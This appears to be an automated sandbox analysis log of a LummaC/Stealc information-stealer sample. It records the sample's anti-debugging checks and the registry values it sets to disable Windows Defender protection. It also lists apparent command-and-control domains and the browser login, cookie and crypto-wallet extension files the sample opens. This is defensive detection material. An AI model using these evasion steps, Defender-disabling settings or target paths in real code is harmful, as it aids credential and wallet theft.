Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\U8mbM8r793.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe

Code function: 7_2_0069E803 rdtsc

7_2_0069E803

Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe

Code function: 7_2_006B3D4C LdrInitializeThunk,

7_2_006B3D4C

Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: ER7BQPWQ4HBBERO2A4ZIZ5.exe PID: 7668, type: MEMORYSTR

LummaC encrypted strings found

Source: U8mbM8r793.exe, 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bashfulacid.lat
Source: U8mbM8r793.exe, 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tentabatte.lat
Source: U8mbM8r793.exe, 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: curverpluch.lat
Source: U8mbM8r793.exe, 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: talkynicer.lat
Source: U8mbM8r793.exe, 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: shapestickyr.lat
Source: U8mbM8r793.exe, 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: manyrestro.lat
Source: U8mbM8r793.exe, 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: slipperyloo.lat
Source: U8mbM8r793.exe, 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: wordyfindy.lat
Source: U8mbM8r793.exe, 00000004.00000003.1287654421.0000000005370000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: observerfry.lat

Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe, 00000008.00000002.1699089310.000000000134D000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Program Manager
Source: IC79VITF07QUR284C1B5QWCEACP3.exe, 00000007.00000002.1710433687.00000000006E9000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: WProgram Manager

Source: C:\Users\user\Desktop\U8mbM8r793.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\U8mbM8r793.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: U8mbM8r793.exe, 00000004.00000003.1429493898.0000000001766000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1433071039.0000000001767000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1429534834.00000000016FA000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1429430671.000000000175E000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1471087937.00000000016FA000.00000004.00000020.00020000.00000000.sdmp, U8mbM8r793.exe, 00000004.00000003.1553613060.00000000016FA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\U8mbM8r793.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: U8mbM8r793.exe PID: 7940, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000008.00000002.1698465028.0000000000F31000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1698142767.000000000078E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1611466099.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ER7BQPWQ4HBBERO2A4ZIZ5.exe PID: 7668, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: U8mbM8r793.exe	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: U8mbM8r793.exe, 00000004.00000003.1408197847.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: U8mbM8r793.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: U8mbM8r793.exe	String found in binary or memory: window-state.json
Source: U8mbM8r793.exe, 00000004.00000003.1408197847.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: U8mbM8r793.exe	String found in binary or memory: Wallets/Exodus
Source: U8mbM8r793.exe	String found in binary or memory: %appdata%\Ethereum
Source: U8mbM8r793.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: U8mbM8r793.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
